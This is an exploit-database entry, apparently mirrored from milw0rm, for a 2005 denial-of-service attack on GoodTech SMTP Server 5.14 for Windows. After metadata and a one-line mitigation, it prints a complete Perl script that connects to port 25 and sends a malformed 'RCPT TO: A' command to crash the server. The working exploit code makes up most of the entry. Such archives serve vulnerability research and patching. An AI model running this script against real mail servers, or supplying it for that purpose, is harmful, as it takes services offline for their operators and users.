GoodTechSMTPServer_DOS.pl

vendor:

GoodTech SMTP Server

by:

milw0rm.com

7.5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: GoodTech SMTP Server

Affected Version From: 5.14

Affected Version To: 5.14

Patch Exists: Yes

Related CWE: N/A

CPE: a:goodtech_systems:goodtech_smtp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows NT/2000/XP

2005

This exploit is used to crash the GoodTech SMTP Server for Windows NT/2000/XP version 5.14. It works by sending a malformed RCPT TO command to the server. This causes the server to crash and stop responding.

Mitigation:

Upgrade to the latest version of GoodTech SMTP Server.

Source

Exploit-DB raw data:

#===== Start GoodTechSMTPServer_DOS.pl =====
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
#        GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
##########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "RCPT TO: A\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End GoodTechSMTPServer_DOS.pl =====

# milw0rm.com [2005-06-07]